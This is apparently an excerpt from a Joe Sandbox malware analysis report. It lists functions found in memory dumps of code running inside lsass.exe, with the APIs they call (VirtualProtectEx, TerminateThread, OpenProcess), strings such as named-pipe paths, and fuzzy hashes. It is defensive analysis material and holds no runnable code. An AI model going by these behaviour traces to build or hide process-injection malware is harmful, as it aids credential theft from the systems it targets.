Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: ErrorLast$Value$FreeHeap
String ID:
API String ID: 365477584-0
Opcode ID: 2b4934949d3deca667ae4771e81ed1922e44bbeb7fb5f4fb09c3a9f1576f5646
Instruction ID: d555153932640f8d0347a3364c120d1ec568d657c151868c23cbfcce845ca8fc
Opcode Fuzzy Hash: 2b4934949d3deca667ae4771e81ed1922e44bbeb7fb5f4fb09c3a9f1576f5646
Instruction Fuzzy Hash: B2113D31218B4842FA14673578117EA2271AF857A1F9C4624E96E967CBDEB8C4C34641

Function 0000017D2DD51A30 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 0000017D2DD51A56
K32GetModuleFileNameExW.KERNEL32 ref: 0000017D2DD51A74
PathFindFileNameW.SHLWAPI ref: 0000017D2DD51A83
lstrlenW.KERNEL32 ref: 0000017D2DD51A8F
StrCpyW.SHLWAPI ref: 0000017D2DD51AA2
CloseHandle.KERNEL32 ref: 0000017D2DD51AB0

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 3678c02db6aac465212181e8004412cbf2c2ed21259821feedd311f468bba618
Instruction ID: 5d1b500fe26d28fa52f1e2ea028b920d62cefd2ec870b9f025740f9f7ca69692
Opcode Fuzzy Hash: 3678c02db6aac465212181e8004412cbf2c2ed21259821feedd311f468bba618
Instruction Fuzzy Hash: 36010535708B8886EB24DB12B85839962B1FB88FC0F8840359E9D43759DE79C9CAC7C0

Function 0000017D2DD53E14 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,0000017D2DD53AAC), ref: 0000017D2DD53E30
GetCurrentProcess.KERNEL32(?,?,?,?,?,0000017D2DD53AAC), ref: 0000017D2DD53E3E
VirtualProtectEx.KERNEL32(?,?,?,?,?,0000017D2DD53AAC), ref: 0000017D2DD53E60
GetCurrentProcess.KERNEL32(?,?,?,?,?,0000017D2DD53AAC), ref: 0000017D2DD53E7E
VirtualProtectEx.KERNEL32(?,?,?,?,?,0000017D2DD53AAC), ref: 0000017D2DD53E9F
TerminateThread.KERNEL32(?,?,?,?,?,0000017D2DD53AAC), ref: 0000017D2DD53EAE

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: cded63a883f53769b64ee8603978d746ac0fde6b870154241cf5f6bb9e490f61
Instruction ID: be16916117c4c5d8465fbac92c3bfb4ddd2eef5abb0f374461f5f83441254e7b
Opcode Fuzzy Hash: cded63a883f53769b64ee8603978d746ac0fde6b870154241cf5f6bb9e490f61
Instruction Fuzzy Hash: 1E014C75219F4882FB249B61F84879973B0BF49B45F080128DA8D073AAEF3DC0DAC780

Function 0000017D2DD51AD4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 0000017D2DD51AF4
StrCmpNIW.SHLWAPI ref: 0000017D2DD51B0E
lstrlenW.KERNEL32 ref: 0000017D2DD51B1D
StrCpyW.SHLWAPI ref: 0000017D2DD51B32

Strings

\\?\, xrefs: 0000017D2DD51B02

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: effff3530f1f25e22f57eaf43e9f5b9d86630ec4a353fbe38ed28e1154ec946c
Instruction ID: 682f90f5b637f35a2c3d5446783d20b17b34457fb52783b3e1abf76f5c572ba5
Opcode Fuzzy Hash: effff3530f1f25e22f57eaf43e9f5b9d86630ec4a353fbe38ed28e1154ec946c
Instruction Fuzzy Hash: 38F04F72308B8992EB208F25F9843997371FB45BC8F884021DB4D4695ADE6CC6CACB80

Function 0000017D2DD53708 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI(?,?,00000000,0000017D2DD5275A), ref: 0000017D2DD5372A
StrCpyW.SHLWAPI ref: 0000017D2DD5373A
StrCatW.SHLWAPI ref: 0000017D2DD53746
PathCombineW.SHLWAPI(?,?,00000000,0000017D2DD5275A), ref: 0000017D2DD53754

Strings

\\.\pipe\, xrefs: 0000017D2DD53720

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: e16f4b25d0074ed40968d37b24dcd1bf4c0770f318e82e0156fcd8cc7ff66dcb
Instruction ID: 549d6b3f5c5617265924b4db8807741ab2b98ea511b45a10dbd99b22b46e9c1f
Opcode Fuzzy Hash: e16f4b25d0074ed40968d37b24dcd1bf4c0770f318e82e0156fcd8cc7ff66dcb
Instruction Fuzzy Hash: F1F08CB4708F8982EA148B13B914199A670BF48FC0F4C8430EE4E07B1ADE6CC4C78780

Function 0000017D2DD5B904 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 0000017D2DD5B929
GetProcAddress.KERNEL32 ref: 0000017D2DD5B93F
FreeLibrary.KERNEL32 ref: 0000017D2DD5B95B

Strings

CorExitProcess, xrefs: 0000017D2DD5B938
mscoree.dll, xrefs: 0000017D2DD5B920

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 339ee8a94e4e2630b1e7bbe0a7ae05b9533d7e89fe24ac804ce0b6f6a1d1c85e
Instruction ID: c7a77935cd3ff50cc22bbf61a466c25b5755c83e5add7d4d4005042facc3e205
Opcode Fuzzy Hash: 339ee8a94e4e2630b1e7bbe0a7ae05b9533d7e89fe24ac804ce0b6f6a1d1c85e
Instruction Fuzzy Hash: 18F09071208F4981EB108B24F8843A96330EF89760F5C0219DA7E455E6CF3CC4CAC7C0

Function 0000017D2DD55810 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000017D2DD55896

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: d921e495b5ff86d0954fcd723af1d701a904b7c821d12a86b124da1c2f3dacd7
Instruction ID: 8125674789d92a5479a628aecd600cb6081226b1809075a8aed29d4977de2a50
Opcode Fuzzy Hash: d921e495b5ff86d0954fcd723af1d701a904b7c821d12a86b124da1c2f3dacd7
Instruction Fuzzy Hash: F202B63221DB8886EB61CF55F4903AAB7B0F785794F140015EA8E87BA9DBBCD495CB00

Function 0000017D2DD52C80 Relevance: 7.6, APIs: 6, Instructions: 131COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 0000017D2DD52CAD
TlsGetValue.KERNEL32 ref: 0000017D2DD52CBC
TlsGetValue.KERNEL32 ref: 0000017D2DD52CCB
TlsSetValue.KERNEL32 ref: 0000017D2DD52E0F
TlsSetValue.KERNEL32 ref: 0000017D2DD52E1E
TlsSetValue.KERNEL32 ref: 0000017D2DD52E2D

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 7032d40e9fdebae4d03ce316ca6788aa89ff4a06af46faea50622b7dc22550b0
Instruction ID: 8766a97f31f53a2c0922cdae98632e9cd144d5ee2a52e1ef2e78a76bd73733b5
Opcode Fuzzy Hash: 7032d40e9fdebae4d03ce316ca6788aa89ff4a06af46faea50622b7dc22550b0
Instruction Fuzzy Hash: 60518335608F0587E764CB16F84079AB7B0FB84B84F5881199E4E43756DF78C98BCB80

Function 0000017D2DD52AB4 Relevance: 7.6, APIs: 6, Instructions: 127COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 0000017D2DD52AE1
TlsGetValue.KERNEL32 ref: 0000017D2DD52AF0
TlsGetValue.KERNEL32 ref: 0000017D2DD52AFF
TlsSetValue.KERNEL32 ref: 0000017D2DD52C3B
TlsSetValue.KERNEL32 ref: 0000017D2DD52C4A
TlsSetValue.KERNEL32 ref: 0000017D2DD52C59

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 5c9254f6834b222fd2a91192d3bbd05b6f5f053a4dd622be8c2296fd59765fda
Instruction ID: 954548f2d2f2eb1727b34777494260f77ffc5ea29933f4fc2f9ab99450d76c11
Opcode Fuzzy Hash: 5c9254f6834b222fd2a91192d3bbd05b6f5f053a4dd622be8c2296fd59765fda
Instruction Fuzzy Hash: 23516335218B498BE724CF16B84079AB7B1FB84B84F584119DE4E4375ADF78D98BCB40

Function 0000017D2DD55E50 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000017D2DD55E66

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: f9fafa43fcee67a3a7710958ae0696c6d862f57b4097daa19824d4405277cc21
Instruction ID: a0d3d935ebb2149f436fe8553ea03842cde1fcc6533f6d8c8d18eb5ce2a62dd7
Opcode Fuzzy Hash: f9fafa43fcee67a3a7710958ae0696c6d862f57b4097daa19824d4405277cc21
Instruction Fuzzy Hash: 3E61B63612DB8886E761CF15F4543AAB7B0F788744F540115FA8D87BAADBBCD586CB00

Function 0000017D2DD53EC8 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,0000017D2DD53A5B), ref: 0000017D2DD53EDB
GetCurrentProcess.KERNEL32(?,?,?,?,?,0000017D2DD53A5B), ref: 0000017D2DD53F0E
VirtualProtectEx.KERNEL32(?,?,?,?,?,0000017D2DD53A5B), ref: 0000017D2DD53F2E
GetCurrentProcess.KERNEL32(?,?,?,?,?,0000017D2DD53A5B), ref: 0000017D2DD53F47
VirtualProtectEx.KERNEL32(?,?,?,?,?,0000017D2DD53A5B), ref: 0000017D2DD53F68

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: 8f39ec8e8825e7e8b48ed506b15ed582bafad4aa87a5a48c909f13f5417d00ae
Instruction ID: 7a4681845d68765c2fe651341d7c065f2c313b53bf4c6282e3f71e70ffd23cd5
Opcode Fuzzy Hash: 8f39ec8e8825e7e8b48ed506b15ed582bafad4aa87a5a48c909f13f5417d00ae
Instruction Fuzzy Hash: 5C114F36609B4493EB248B61F40429AA7B0FF45B80F080126DE8D037A9EF7DC9DAC7C4

Function 0000017D2DD58CA0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000017D2DD58CCB
_IsNonwritableInCurrentImage.LIBCMT ref: 0000017D2DD58D62
RtlUnwindEx.NTDLL ref: 0000017D2DD58DBC

Strings

csm, xrefs: 0000017D2DD58D49

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction ID: 875f8e91b8ec60e369ef0c0a4fa31e9cbd0d42de610c1aa331d7fb3e193f8215
Opcode Fuzzy Hash: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction Fuzzy Hash: 1351CF32359F08CAEB58CB55F444BAC37B1EB54B98F188121DA5E4778ADBB9C8D2C700

Function 0000017D2DD5A6FC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 0000017D2DD5A75B
_CallSETranslator.LIBVCRUNTIME ref: 0000017D2DD5A7A7

Strings

RCC, xrefs: 0000017D2DD5A777
MOC, xrefs: 0000017D2DD5A76F

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction ID: d9f36c28b8368ba67f33a76669638aa3bbfff7f91a8384785df6904ca07c6f67
Opcode Fuzzy Hash: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction Fuzzy Hash: A1617C3250CBC885EB208B15F4407DABBB0FB95B98F485215EB9C17B96DBB8D1D6CB00

Function 0000017D2DD5AAAC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000017D2DD5AAD4
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 0000017D2DD5ABBC

Strings

csm, xrefs: 0000017D2DD5AC0E
csm, xrefs: 0000017D2DD5AAF6

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction ID: 611d291301d54a95b7270af50630b4b285e2c5ae5dac77d113480ec9eb855077
Opcode Fuzzy Hash: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction Fuzzy Hash: 6951C13610CB988BEB748F12A5443A877B0FB50B84F1C6116DA9D47BD2CBB8E4E6C741

Function 0000017D2DD29EAC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000017D2DD29ED4
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 0000017D2DD29FBC

Strings

csm, xrefs: 0000017D2DD29EF6
csm, xrefs: 0000017D2DD2A00E

Memory Dump Source

Source File: 00000010.00000003.1604607101.0000017D2DD20000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000017D2DD20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_17d2dd20000_lsass.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction ID: 9924569a5ab876b337d3d8800d55b27160b79a26f432793cf3b9df684b44e794
Opcode Fuzzy Hash: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction Fuzzy Hash: 7251803218CB488AEB748F11A68839877B0FB55B94F1C5116DA9D47B9FCB38C4D6CB01

Function 0000017D2DD53950 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

StrCmpNW.SHLWAPI ref: 0000017D2DD53972
StrStrW.SHLWAPI ref: 0000017D2DD53990
StrToIntW.SHLWAPI ref: 0000017D2DD539B7

Part of subcall function 0000017D2DD51A30: OpenProcess.KERNEL32 ref: 0000017D2DD51A56
Part of subcall function 0000017D2DD51A30: K32GetModuleFileNameExW.KERNEL32 ref: 0000017D2DD51A74
Part of subcall function 0000017D2DD51A30: PathFindFileNameW.SHLWAPI ref: 0000017D2DD51A83
Part of subcall function 0000017D2DD51A30: lstrlenW.KERNEL32 ref: 0000017D2DD51A8F
Part of subcall function 0000017D2DD51A30: StrCpyW.SHLWAPI ref: 0000017D2DD51AA2
Part of subcall function 0000017D2DD51A30: CloseHandle.KERNEL32 ref: 0000017D2DD51AB0

Part of subcall function 0000017D2DD53F88: StrCmpNIW.SHLWAPI(?,?,?,0000017D2DD5272F), ref: 0000017D2DD53FA0

Strings

pid_, xrefs: 0000017D2DD53968

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID: pid_
API String ID: 517849248-4147670505
Opcode ID: 351c56d785df20298bfbc2128b4df5e5f7d51d179e69475368e405930b6507af
Instruction ID: 3339c7917aa704551e98117c40d034c359a0e0c72837dcb32f0ec74c5693b7a9
Opcode Fuzzy Hash: 351c56d785df20298bfbc2128b4df5e5f7d51d179e69475368e405930b6507af
Instruction Fuzzy Hash: DB115431318F8592EB209B35F8003DA66B4FF44781F9845259E8D83696EFA9C9C7C740

Function 0000017D2DD61FA8 Relevance: 6.3, APIs: 4, Instructions: 304fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 0000017D2DD62027
WriteFile.KERNEL32 ref: 0000017D2DD62304
WriteFile.KERNEL32 ref: 0000017D2DD6234A
GetLastError.KERNEL32 ref: 0000017D2DD62409

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 6e2b0015a5e192ecbb3898a491d5c4d6065fa3f656e88a841fb9fa74fea56143
Instruction ID: 3298a726dc5465890309b67df4462229f4f7f8e3e357887ff85e25c4a6c59ccf
Opcode Fuzzy Hash: 6e2b0015a5e192ecbb3898a491d5c4d6065fa3f656e88a841fb9fa74fea56143
Instruction Fuzzy Hash: B4D19B32718B4889E711CFA5E4407EC3BB5EB55B98F888216DE5D97B9ADA34C186C380

Function 0000017D2DD514A0 Relevance: 6.3, APIs: 5, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000017D2DD514C6
HeapFree.KERNEL32 ref: 0000017D2DD514D5
GetProcessHeap.KERNEL32 ref: 0000017D2DD514E2
HeapFree.KERNEL32 ref: 0000017D2DD514F1
